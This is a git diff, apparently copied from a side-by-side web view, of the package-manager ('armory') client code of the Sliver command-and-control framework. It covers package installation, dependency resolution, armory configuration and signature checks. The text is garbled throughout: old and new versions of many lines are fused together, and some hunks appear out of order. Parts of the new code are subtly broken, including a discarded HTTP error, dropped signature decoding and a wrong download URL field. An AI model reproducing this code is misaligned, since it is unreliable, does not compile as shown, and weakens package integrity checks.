continue if name != "all" {
} return nil
packageEntry, err := getPackageForCommand(packageName, armoryPK, "")
if err != nil {
return nil, err
}
if !slices.Contains(packageInstallList, packageEntry.ID) {
packageInstallList = append(packageInstallList, packageEntry.ID)
pendingPackages[packageName] = packageEntry.ID
}
if !packageEntry.Pkg.IsAlias {
dependencies := make(map[string]*pkgCacheEntry)
err = resolveExtensionPackageDependencies(packageEntry, dependencies, pendingPackages)
if err != nil {
return nil, err
}
for pkgName, packageEntry := range dependencies {
if !slices.Contains(packageInstallList, packageEntry.ID) {
packageInstallList = append(packageInstallList, packageEntry.ID)
}
if _, ok := pendingPackages[pkgName]; !ok {
pendingPackages[pkgName] = packageEntry.ID
} }
} }
} }
} }
return packageInstallList, nil
}
func installPackageByName(name, armoryPK string, forceInstallation, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
pendingPackages := make(map[string]string)
packageInstallList, err := buildInstallList(name, armoryPK, forceInstallation, pendingPackages)
if err != nil {
return err
}
if len(packageInstallList) > 0 {
for _, packageID := range packageInstallList {
entry := packageCacheLookupByID(packageID)
if entry == nil {
return errors.New("cache consistency error - please refresh the cache and try again")
}
if entry.Pkg.IsAlias {
err := installAliasPackage(entry, promptToOverwrite, clientConfig, con)
if err != nil {
return fmt.Errorf("failed to install alias '%s': %s", entry.Alias.CommandName, err)
}
} else {
err := installExtensionPackage(entry, promptToOverwrite, clientConfig, con)
if err != nil {
return fmt.Errorf("failed to install extension '%s': %s", entry.Extension.Name, err)
}
}
}
} else {
return ErrPackageNotFound
}
if name == "all" { if name == "all" {
con.Printf("\n") con.Printf("\n")
con.PrintInfof("Operation complete\n") con.PrintInfof("All packages installed\n")
return nil
} }
return ErrPackageNotFound
return nil
} }
func installAliasPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error { func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
err := installAliasPackageByName(alias.CommandName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install alias '%s': %s", alias.CommandName, err)
return
}
}
func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
var entry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.Pkg.CommandName == name {
entry = &cacheEntry
return false
}
return true
})
if entry == nil { if entry == nil {
return errors.New("package not found") return errors.New("package not found")
} }
if !entry.Pkg.IsAlias {
return errors.New("package is not an alias")
}
repoURL, err := url.Parse(entry.RepoURL) repoURL, err := url.Parse(entry.RepoURL)
if err != nil { if err != nil {
return err return err
@@ -496,7 +174,7 @@ func installAliasPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientCon
con.Printf(console.Clearln + "\r") // Clear the line con.Printf(console.Clearln + "\r") // Clear the line
installPath := alias.InstallFromFile(tmpFile.Name(), entry.Alias.CommandName, promptToOverwrite, con) installPath := alias.InstallFromFile(tmpFile.Name(), true, con)
if installPath == nil { if installPath == nil {
return errors.New("failed to install alias") return errors.New("failed to install alias")
} }
@@ -510,15 +188,50 @@ func installAliasPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientCon
return nil return nil
} }
func installExtension(extm *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
deps := make(map[string]struct{})
for _, ext := range extm.ExtCommand {
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
sliverMenu := con.App.Menu(constants.ImplantMenu).Root()
for dep := range deps {
if extensions.CmdExists(dep, sliverMenu) {
continue // Dependency is already installed
}
err := installExtensionPackageByName(dep, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
return
}
}
err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
return
}
}
}
const maxDepDepth = 10 // Arbitrary recursive limit for dependencies const maxDepDepth = 10 // Arbitrary recursive limit for dependencies
func resolveExtensionPackageDependencies(pkg *pkgCacheEntry, deps map[string]*pkgCacheEntry, pendingPackages map[string]string) error { func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
for _, multiExt := range pkg.Extension.ExtCommand { var entry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.Pkg.CommandName == name {
entry = &cacheEntry
return false
}
return true
})
if entry == nil {
return
}
for _, multiExt := range entry.Extension.ExtCommand {
if multiExt.DependsOn == "" { if multiExt.DependsOn == "" {
continue // Avoid adding empty dependency continue // Avoid adding empty dependency
} }
if multiExt.DependsOn == pkg.Extension.Name { if multiExt.DependsOn == name {
continue // Avoid infinite loop of something that depends on itself continue // Avoid infinite loop of something that depends on itself
} }
// We also need to look out for circular dependencies, so if we've already // We also need to look out for circular dependencies, so if we've already
@@ -526,28 +239,24 @@ func resolveExtensionPackageDependencies(pkg *pkgCacheEntry, deps map[string]*pk
if _, ok := deps[multiExt.DependsOn]; ok { if _, ok := deps[multiExt.DependsOn]; ok {
continue // Already resolved continue // Already resolved
} }
// Check to make sure we are not already going to install a package with this name
if _, ok := pendingPackages[multiExt.DependsOn]; ok {
continue
}
if maxDepDepth < len(deps) { if maxDepDepth < len(deps) {
continue continue
} }
// Figure out what package we need for the dependency deps[multiExt.DependsOn] = struct{}{}
dependencyEntry, err := getPackageForCommand(multiExt.DependsOn, "", "") resolveExtensionPackageDependencies(multiExt.DependsOn, deps, clientConfig, con)
if err != nil {
return fmt.Errorf("could not resolve dependency %s for %s: %s", multiExt.DependsOn, pkg.Extension.Name, err)
}
deps[multiExt.DependsOn] = dependencyEntry
err = resolveExtensionPackageDependencies(dependencyEntry, deps, pendingPackages)
if err != nil {
return err
}
} }
return nil
} }
func installExtensionPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error { func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
var entry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.Pkg.CommandName == name {
entry = &cacheEntry
return false
}
return true
})
if entry == nil { if entry == nil {
return errors.New("package not found") return errors.New("package not found")
} }
@@ -593,7 +302,7 @@ func installExtensionPackage(entry *pkgCacheEntry, promptToOverwrite bool, clien
con.Printf(console.Clearln + "\r") // Clear download message con.Printf(console.Clearln + "\r") // Clear download message
extensions.InstallFromDir(tmpFile.Name(), promptToOverwrite, con, true) extensions.InstallFromDir(tmpFile.Name(), con, true)
return nil return nil
} }
-653
View File
@@ -1,653 +0,0 @@
package armory
import (
"fmt"
"os"
"path/filepath"
"slices"
"strings"
"sync"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
)
func printArmories(con *console.SliverClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Armory Name",
"Authorization Required",
"Enabled",
"URL",
})
configuredArmories := getCurrentArmoryConfiguration()
for _, armory := range configuredArmories {
var authRequired string
var enabled string
if armory.Authorization != "" {
authRequired = "yes"
} else {
authRequired = "no"
}
if armory.Enabled {
enabled = "yes"
} else {
enabled = "no"
}
tw.AppendRow(table.Row{
armory.Name,
authRequired,
enabled,
armory.RepoURL,
})
}
con.Printf("%s\n", tw.Render())
}
func generateRowsForArmory(armoryInfo *assets.ArmoryConfig) []table.Row {
rows := make([]table.Row, 0)
rows = append(rows, table.Row{
"Name",
armoryInfo.Name,
})
rows = append(rows, table.Row{
"Public Key",
armoryInfo.PublicKey,
})
enabled := "yes"
if !armoryInfo.Enabled {
enabled = "no"
}
rows = append(rows, table.Row{
"Enabled",
enabled,
})
authorizationRequired := "no"
if armoryInfo.Authorization != "" {
authorizationRequired = fmt.Sprintf("yes; current authorization: %s", armoryInfo.Authorization)
}
rows = append(rows, table.Row{
"Authorization required?",
authorizationRequired,
})
if authorizationRequired != "no" {
authCmd := armoryInfo.AuthorizationCmd
if authCmd == "" {
authCmd = "not configured"
}
rows = append(rows, table.Row{
"Authorization Command",
authCmd,
})
}
rows = append(rows, table.Row{
"URL",
armoryInfo.RepoURL,
})
return rows
}
func generateRowsForPackage(packageInfo *pkgCacheEntry) []table.Row {
rows := make([]table.Row, 0)
rows = append(rows, table.Row{
"Name",
packageInfo.Pkg.Name,
})
rows = append(rows, table.Row{
"Command Name",
packageInfo.Pkg.CommandName,
})
rows = append(rows, table.Row{
"Armory Name",
packageInfo.Pkg.ArmoryName,
})
packageType := "alias"
if !packageInfo.Pkg.IsAlias {
packageType = "extension"
}
rows = append(rows, table.Row{
"Package Type",
packageType,
})
if packageType == "alias" {
rows = append(rows, table.Row{
"Version",
packageInfo.Alias.Version,
})
rows = append(rows, table.Row{
"Author",
packageInfo.Alias.OriginalAuthor,
})
rows = append(rows, table.Row{
"Repo URL",
packageInfo.Alias.RepoURL,
})
rows = append(rows, table.Row{
"Help",
packageInfo.Alias.Help,
})
} else {
rows = append(rows, table.Row{
"Version",
packageInfo.Extension.Version,
})
rows = append(rows, table.Row{
"Original Author",
packageInfo.Extension.OriginalAuthor,
})
rows = append(rows, table.Row{
"Extension Author",
packageInfo.Extension.ExtensionAuthor,
})
rows = append(rows, table.Row{
"URL",
packageInfo.Extension.RepoURL,
})
extCommands := []string{}
for _, cmd := range packageInfo.Extension.ExtCommand {
extCommands = append(extCommands, cmd.CommandName)
}
rows = append(rows, table.Row{
"Contains commands",
strings.Join(extCommands, ", "),
})
rows = append(rows, table.Row{"", ""})
rows = append(rows, table.Row{"Command Info", ""})
for _, extCmd := range packageInfo.Extension.ExtCommand {
rows = append(rows, table.Row{
"Command Name",
extCmd.CommandName,
})
rows = append(rows, table.Row{
"Dependencies",
extCmd.DependsOn,
})
rows = append(rows, table.Row{
"Help",
extCmd.Help,
})
rows = append(rows, table.Row{"", ""})
}
}
rows = append(rows, table.Row{"", ""})
return rows
}
func viewDetailedInformation(con *console.SliverClient, entity string) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Property",
"Value",
})
// See where this name exists in the armory and package indexes
armoryResult := armoryLookupByName(entity)
if armoryResult != nil {
tw.AppendRows(generateRowsForArmory(armoryResult))
con.Printf("Armory information for %s\n\n", entity)
con.Printf("%s\n", tw.Render())
tw.ResetRows()
con.Printf("\n")
}
// Get packages with this name
packageResult := packageCacheLookupByName(entity)
if len(packageResult) > 0 {
con.Printf("Packages named %s\n\n", entity)
for _, pkg := range packageResult {
tw.AppendRows(generateRowsForPackage(pkg))
con.Printf("%s\n", tw.Render())
tw.ResetRows()
con.Printf("\n")
}
}
// Get extensions containing commands with this name
commandResult := packageCacheLookupByCmd(entity)
commandResultFiltered := make([]*pkgCacheEntry, 0)
for _, cmd := range commandResult {
if !cmd.Pkg.IsAlias {
commandResultFiltered = append(commandResultFiltered, cmd)
}
}
if len(commandResultFiltered) > 0 {
con.Printf("Packages containing commands named %s\n\n", entity)
for _, cmd := range commandResultFiltered {
tw.AppendRows(generateRowsForPackage(cmd))
con.Printf("%s\n", tw.Render())
tw.ResetRows()
}
}
}
func ArmoryInfoCommand(cmd *cobra.Command, con *console.SliverClient, args []string) {
if len(args) == 0 {
printArmories(con)
return
}
// If the user wants info on something specific, make sure the caches are up to date
refresh(parseArmoryHTTPConfig(cmd))
viewDetailedInformation(con, args[0])
}
func verifyArmory(armoryInfo *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) error {
wg := &sync.WaitGroup{}
// Only making one request, so we can limit ourselves to one concurrent request
requestChannel := make(chan struct{}, 1)
wg.Add(1)
requestChannel <- struct{}{}
go fetchIndex(armoryInfo, requestChannel, clientConfig, wg)
wg.Wait()
result, ok := indexCache.Load(armoryInfo.PublicKey)
if !ok {
return fmt.Errorf("failed to retrieve armory index")
}
cacheResult := result.(indexCacheEntry)
return cacheResult.LastErr
}
func getCurrentArmoryConfiguration() []*assets.ArmoryConfig {
configs := []*assets.ArmoryConfig{}
armoryNames := []string{}
// If the default armory is in the configuration, force it to be last
var defaultConfig *assets.ArmoryConfig
currentArmories.Range(func(key, value interface{}) bool {
armoryEntry := value.(assets.ArmoryConfig)
// Skip over the default armory for now
if armoryEntry.Name != assets.DefaultArmoryName {
configs = append(configs, &armoryEntry)
armoryNames = append(armoryNames, armoryEntry.Name)
} else {
defaultConfig = &armoryEntry
}
return true
})
if !armoriesInitialized {
/*
Armories are initialized on the first call to the armory command
If armories are added or removed before the first call, we want
to make sure we still load in the ones from the configuration
file.
*/
persistentConfigs := assets.GetArmoriesConfig()
for _, config := range persistentConfigs {
if !slices.Contains(armoryNames, config.Name) {
if config.Name == assets.DefaultArmoryName {
if defaultArmoryRemoved {
continue
} else if defaultConfig != nil {
// The user potentially changed something about the default config
configs = append(configs, defaultConfig)
currentArmories.Store(config.PublicKey, *defaultConfig)
continue
}
}
configs = append(configs, config)
currentArmories.Store(config.PublicKey, *config)
}
}
return configs
}
if !defaultArmoryRemoved {
if defaultConfig != nil {
configs = append(configs, defaultConfig)
} else {
configs = append(configs, assets.DefaultArmoryConfig)
}
}
assets.RefreshArmoryAuthorization(configs)
return configs
}
func armoryNameExists(name string) bool {
currentArmoriesConfigured := getCurrentArmoryConfiguration()
for _, armory := range currentArmoriesConfigured {
if armory.Name == name {
return true
}
}
return false
}
func armoryKeyExists(pubKey string) bool {
currentArmoriesConfigured := getCurrentArmoryConfiguration()
for _, armory := range currentArmoriesConfigured {
if armory.PublicKey == pubKey {
return true
}
}
return false
}
func AddArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
// Get necessary information
url, _ := cmd.Flags().GetString("url")
pubKey, _ := cmd.Flags().GetString("pubkey")
auth, _ := cmd.Flags().GetString("auth")
authCmd, _ := cmd.Flags().GetString("authcmd")
noSave, _ := cmd.Flags().GetBool("no-save")
name := args[0]
if name == "" {
con.PrintErrorf("an armory name is required\n")
return
}
// Make sure we do not already have an armory config with the supplied name
if armoryNameExists(name) {
con.PrintErrorf("armory %s already exists\n", name)
return
}
clientConfig := parseArmoryHTTPConfig(cmd)
armoryConfig := assets.ArmoryConfig{
PublicKey: pubKey,
RepoURL: url,
Authorization: auth,
AuthorizationCmd: authCmd,
Name: name,
Enabled: true,
}
// verifyArmory will add the armory index to the cache on success, so we do not have to force a refresh
err := verifyArmory(&armoryConfig, clientConfig)
if err != nil {
con.PrintErrorf("could not add armory: %s\n", err)
return
}
currentArmories.Store(armoryConfig.PublicKey, armoryConfig)
if !noSave {
configs := getCurrentArmoryConfiguration()
err = assets.SaveArmoriesConfig(configs)
if err != nil {
con.PrintErrorf("Could not save armory configuration: %s\n", err)
} else {
con.PrintSuccessf("Armory configuration saved\n")
}
}
con.PrintSuccessf("Added armory %s\n", name)
}
// Get a list of package IDs for an armory by its public key
func getPackageIDsForArmory(armoryPublicKey string) []string {
packageIDs := []string{}
pkgCache.Range(func(key, value interface{}) bool {
pkgEntry := value.(pkgCacheEntry)
if pkgEntry.ArmoryConfig.PublicKey == armoryPublicKey {
packageIDs = append(packageIDs, pkgEntry.ID)
}
return true
})
return packageIDs
}
func RemoveArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
name := args[0]
if name == "" {
con.PrintErrorf("an armory name is required\n")
return
}
armories := getCurrentArmoryConfiguration()
deleted := false
newConfiguration := []*assets.ArmoryConfig{}
for _, armory := range armories {
if armory.Name != name {
newConfiguration = append(newConfiguration, armory)
} else {
currentArmories.Delete(armory.PublicKey)
indexCache.Delete(armory.PublicKey)
/*
To delete from the package cache, we will have
to gather a list of package IDs for the
armory then delete them from the cache.
*/
armoryPackageIDs := getPackageIDsForArmory(armory.PublicKey)
for _, id := range armoryPackageIDs {
pkgCache.Delete(id)
}
deleted = true
}
}
if deleted {
con.PrintSuccessf("Armory %s successfully deleted, saving configuration...\n", name)
if name == assets.DefaultArmoryName {
defaultArmoryRemoved = true
}
} else {
con.PrintErrorf("Armory %s is not a configured armory\n", name)
return
}
err := assets.SaveArmoriesConfig(newConfiguration)
if err != nil {
con.PrintErrorf("Could not save new armory configuration: %s\n", err)
} else {
con.PrintSuccessf("Saved armory configuration\n")
}
}
func SaveArmories(con *console.SliverClient) {
configs := getCurrentArmoryConfiguration()
err := assets.SaveArmoriesConfig(configs)
if err != nil {
con.PrintErrorf("Could not save armory configuration: %s\n", err)
} else {
con.PrintSuccessf("Successfully saved armory configuration\n")
}
}
func getArmoryConfig(name string) (assets.ArmoryConfig, error) {
armories := getCurrentArmoryConfiguration()
var armoryPublicKey string
armoryConfig := assets.ArmoryConfig{}
for _, armory := range armories {
if armory.Name == name {
armoryPublicKey = armory.PublicKey
break
}
}
if armoryPublicKey == "" {
return armoryConfig, fmt.Errorf("could not retrieve armory configuration for armory %s. Try running the armory command to refresh indexes", name)
}
value, ok := currentArmories.Load(armoryPublicKey)
if !ok {
return armoryConfig, fmt.Errorf("could not retrieve armory configuration for armory %s. Try running the armory command to refresh indexes", name)
}
armoryConfig = value.(assets.ArmoryConfig)
return armoryConfig, nil
}
func ChangeArmoryEnabledState(cmd *cobra.Command, con *console.SliverClient, args []string, enabled bool) {
// Get the armory's public key, change its state, then update the cache to remove packages from the armory
var name string
if len(args) > 0 && args[0] != "" {
name = args[0]
} else {
con.PrintErrorf("an armory name is required")
return
}
armoryConfig, err := getArmoryConfig(name)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
armoryPublicKey := armoryConfig.PublicKey
armoryConfig.Enabled = enabled
currentArmories.Store(armoryPublicKey, armoryConfig)
if !enabled {
// Remove cached info for the armory if it is disabled
armoryPackageIDs := getPackageIDsForArmory(armoryPublicKey)
for _, id := range armoryPackageIDs {
pkgCache.Delete(id)
}
indexCache.Delete(armoryPublicKey)
}
// Force a refresh
clientConfig := parseArmoryHTTPConfig(cmd)
con.PrintInfof("Refreshing armory information...\n")
refresh(clientConfig)
SaveArmories(con)
con.PrintSuccessf("Done\n")
}
func ModifyArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
// Quick check to make sure we were provided with a name
var name string
if len(args) > 0 && args[0] != "" {
name = args[0]
}
if name == "" {
con.PrintErrorf("an armory name is required\n")
return
}
// Get the record for the armory
armoryConfig, err := getArmoryConfig(name)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Save the old config so we can delete the existing config
// and revert if needed
previousConfig := assets.ArmoryConfig{
PublicKey: armoryConfig.PublicKey,
RepoURL: armoryConfig.RepoURL,
Authorization: armoryConfig.Authorization,
AuthorizationCmd: armoryConfig.AuthorizationCmd,
Name: armoryConfig.Name,
Enabled: armoryConfig.Enabled,
}
if cmd.Flags().Changed("name") {
newName, _ := cmd.Flags().GetString("name")
// Make sure the name does not already exist
if armoryNameExists(newName) {
con.PrintErrorf("armory with name %s already exists\n", name)
return
}
armoryConfig.Name = newName
}
if cmd.Flags().Changed("pubkey") {
newPubKey, _ := cmd.Flags().GetString("pubkey")
/*
Since public keys are used as the key for the index cache,
make sure we have not been given a key that already exists
*/
if armoryKeyExists(newPubKey) {
con.PrintErrorf("armory provided public key already exists\n")
return
}
armoryConfig.PublicKey = newPubKey
}
if cmd.Flags().Changed("url") {
newUrl, _ := cmd.Flags().GetString("url")
armoryConfig.RepoURL = newUrl
}
if cmd.Flags().Changed("auth") {
newAuth, _ := cmd.Flags().GetString("auth")
armoryConfig.Authorization = newAuth
}
if cmd.Flags().Changed("authcmd") {
newAuthCmd, _ := cmd.Flags().GetString("authcmd")
armoryConfig.AuthorizationCmd = newAuthCmd
}
// We will remove the old armory and add a new one with the changed properties to force a refresh
currentArmories.Delete(previousConfig.PublicKey)
indexCache.Delete(previousConfig.PublicKey)
armoryPackageIDs := getPackageIDsForArmory(previousConfig.PublicKey)
for _, id := range armoryPackageIDs {
pkgCache.Delete(id)
}
clientConfig := parseArmoryHTTPConfig(cmd)
err = verifyArmory(&armoryConfig, clientConfig)
if err != nil {
con.PrintErrorf("could not modify armory: %s\n", err)
confirm := false
prompt := &survey.Confirm{Message: "Would you like to revert the properties of the armory back to their previous values?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm {
return
} else {
err = verifyArmory(&previousConfig, clientConfig)
if err != nil {
con.PrintErrorf("could not re-add armory %s: %s\n", name, err)
return
}
armoryConfig = previousConfig
con.PrintSuccessf("Re-added armory with previous values")
}
}
currentArmories.Store(armoryConfig.PublicKey, armoryConfig)
if !cmd.Flags().Changed("no-save") {
SaveArmories(con)
}
// Force a refresh
con.PrintInfof("Refreshing armory information...\n")
refresh(clientConfig)
con.PrintSuccessf("Done\n")
}
func RefreshArmories(cmd *cobra.Command, con *console.SliverClient) {
clientConfig := parseArmoryHTTPConfig(cmd)
// Since this being called from the refresh command, force the refresh
clientConfig.IgnoreCache = true
clearAllCaches()
armoriesInitialized = false
con.PrintInfof("Refreshing armory information...")
refresh(clientConfig)
con.PrintSuccessf("Refreshed armory information\n")
}
func ResetArmoryConfig(cmd *cobra.Command, con *console.SliverClient) {
armoryConfigPath := filepath.Join(assets.GetRootAppDir(), assets.ArmoryConfigFileName)
con.PrintInfof("Removing armory configuration file %s...", armoryConfigPath)
err := os.Remove(armoryConfigPath)
if err != nil {
con.PrintErrorf("Could not delete armory configuration file %s: %s", armoryConfigPath, err)
return
}
con.PrintSuccessf("Removed armory configuration file %s\n", armoryConfigPath)
// Force a refresh
RefreshArmories(cmd, con)
con.PrintSuccessf("Successfully reset armory configuration\n")
}
+5 -82
View File
@@ -19,8 +19,6 @@ package armory
*/ */
import ( import (
"bytes"
"crypto/sha256"
"crypto/tls" "crypto/tls"
"encoding/base64" "encoding/base64"
"encoding/json" "encoding/json"
@@ -69,18 +67,6 @@ type armoryPkgResponse struct {
TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
} }
func calculatePackageHash(pkg *ArmoryPackage) string {
if pkg == nil {
return ""
}
hasher := sha256.New()
// Hash some of the things that make the package unique
packageIdentifier := []byte(pkg.RepoURL + pkg.PublicKey + pkg.ArmoryName + pkg.CommandName)
hasher.Write(packageIdentifier)
return fmt.Sprintf("%x", hasher.Sum(nil))
}
// //
// Default Parsers for Self-Hosted Armories // Default Parsers for Self-Hosted Armories
// //
@@ -93,10 +79,7 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
return nil, err return nil, err
} }
resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{}) resp, body, _ := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
if err != nil {
return nil, err
}
if resp.StatusCode != http.StatusOK { if resp.StatusCode != http.StatusOK {
return nil, errors.New("api returned non-200 status code") return nil, errors.New("api returned non-200 status code")
} }
@@ -128,45 +111,9 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
if err != nil { if err != nil {
return nil, err return nil, err
} }
// Populate armory name and ID information for assets
for _, bundle := range armoryIndex.Bundles {
bundle.ArmoryName = armoryIndex.ArmoryConfig.Name
}
for _, alias := range armoryIndex.Aliases {
alias.ArmoryName = armoryIndex.ArmoryConfig.Name
alias.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
if cached := packageCacheLookupByCmdAndArmory(alias.CommandName, armoryIndex.ArmoryConfig.PublicKey); cached != nil {
// A package with this name is in the cache, so we will remove it here so that the latest version is added
// when the index is parsed
pkgCache.Delete(cached.ID)
}
alias.ID = calculatePackageHash(alias)
}
for _, extension := range armoryIndex.Extensions {
extension.ArmoryName = armoryIndex.ArmoryConfig.Name
extension.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
if cached := packageCacheLookupByCmdAndArmory(extension.CommandName, armoryIndex.ArmoryConfig.PublicKey); cached != nil {
// A package with this name is in the cache, so we will remove it here so that the latest version is added
// when the index is parsed
pkgCache.Delete(cached.ID)
}
extension.ID = calculatePackageHash(extension)
}
return armoryIndex, nil return armoryIndex, nil
} }
func decodePackageSignature(sigString string) ([]byte, error) {
// Base64 decode the signature
decodedData := make([]byte, base64.StdEncoding.DecodedLen(len(sigString)))
_, err := base64.StdEncoding.Decode(decodedData, []byte(sigString))
if err != nil {
return nil, err
}
// If decodedData does not end up being base64.StdEncoding.DecodedLen(len(data)) bytes long, trim the null bytes
decodedData = bytes.Trim(decodedData, "\x00")
return decodedData, nil
}
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url // DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) { func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
var publicKey minisign.PublicKey var publicKey minisign.PublicKey
@@ -175,29 +122,25 @@ func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *Armory
return nil, nil, err return nil, nil, err
} }
resp, body, err := httpRequest(clientConfig, armoryPkg.RepoURL, armoryConfig, http.Header{}) resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
if err != nil { if err != nil {
return nil, nil, err return nil, nil, err
} }
if resp.StatusCode != http.StatusOK { if resp.StatusCode != http.StatusOK {
return nil, nil, fmt.Errorf("api returned non-200 status code (%d)", resp.StatusCode) return nil, nil, errors.New("api returned non-200 status code")
} }
pkgResp := &armoryPkgResponse{} pkgResp := &armoryPkgResponse{}
err = json.Unmarshal(body, pkgResp) err = json.Unmarshal(body, pkgResp)
if err != nil { if err != nil {
return nil, nil, err return nil, nil, err
} }
decodedSig, err := decodePackageSignature(pkgResp.Minisig) sig, err := parsePkgMinsig([]byte(pkgResp.Minisig))
if err != nil {
return nil, nil, err
}
sig, err := parsePkgMinsig(decodedSig)
if err != nil { if err != nil {
return nil, nil, err return nil, nil, err
} }
var tarGz []byte var tarGz []byte
if !sigOnly { if !sigOnly {
tarGzURL, err := url.Parse(pkgResp.TarGzURL) tarGzURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil { if err != nil {
return nil, nil, err return nil, nil, err
} }
@@ -299,20 +242,6 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
if err != nil { if err != nil {
return nil, err return nil, err
} }
// Populate armory name and ID information for assets
for _, bundle := range armoryIndex.Bundles {
bundle.ArmoryName = armoryIndex.ArmoryConfig.Name
}
for _, alias := range armoryIndex.Aliases {
alias.ArmoryName = armoryIndex.ArmoryConfig.Name
alias.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
alias.ID = calculatePackageHash(alias)
}
for _, extension := range armoryIndex.Extensions {
extension.ArmoryName = armoryIndex.ArmoryConfig.Name
extension.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
extension.ID = calculatePackageHash(extension)
}
return armoryIndex, nil return armoryIndex, nil
} }
@@ -507,12 +436,6 @@ func downloadRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig
"Accept": {"application/octet-stream"}, "Accept": {"application/octet-stream"},
} }
resp, body, err := httpRequest(clientConfig, reqURL, armoryConfig, downloadHdr) resp, body, err := httpRequest(clientConfig, reqURL, armoryConfig, downloadHdr)
if err != nil {
return nil, err
}
if resp == nil {
return nil, fmt.Errorf("invalid response when downloading %s, try again later", reqURL)
}
if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusFound { if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusFound {
return nil, fmt.Errorf("error downloading asset: http %d", resp.StatusCode) return nil, fmt.Errorf("error downloading asset: http %d", resp.StatusCode)
} }
+2 -2
View File
@@ -29,7 +29,7 @@ import (
) )
// ArmorySearchCmd - Search for packages by name // ArmorySearchCmd - Search for packages by name
func ArmorySearchCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func ArmorySearchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
con.PrintInfof("Refreshing package cache ... ") con.PrintInfof("Refreshing package cache ... ")
clientConfig := parseArmoryHTTPConfig(cmd) clientConfig := parseArmoryHTTPConfig(cmd)
refresh(clientConfig) refresh(clientConfig)
@@ -47,7 +47,7 @@ func ArmorySearchCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
return return
} }
aliases, exts := packageManifestsInCache() aliases, exts := packagesInCache()
matchedAliases := []*alias.AliasManifest{} matchedAliases := []*alias.AliasManifest{}
for _, a := range aliases { for _, a := range aliases {
if nameExpr.MatchString(a.CommandName) { if nameExpr.MatchString(a.CommandName) {
+34 -294
View File
@@ -19,127 +19,56 @@ package armory
*/ */
import ( import (
"fmt"
"os" "os"
"sort"
"strconv"
"strings" "strings"
"github.com/AlecAivazis/survey/v2"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra" "github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/alias" "github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions" "github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
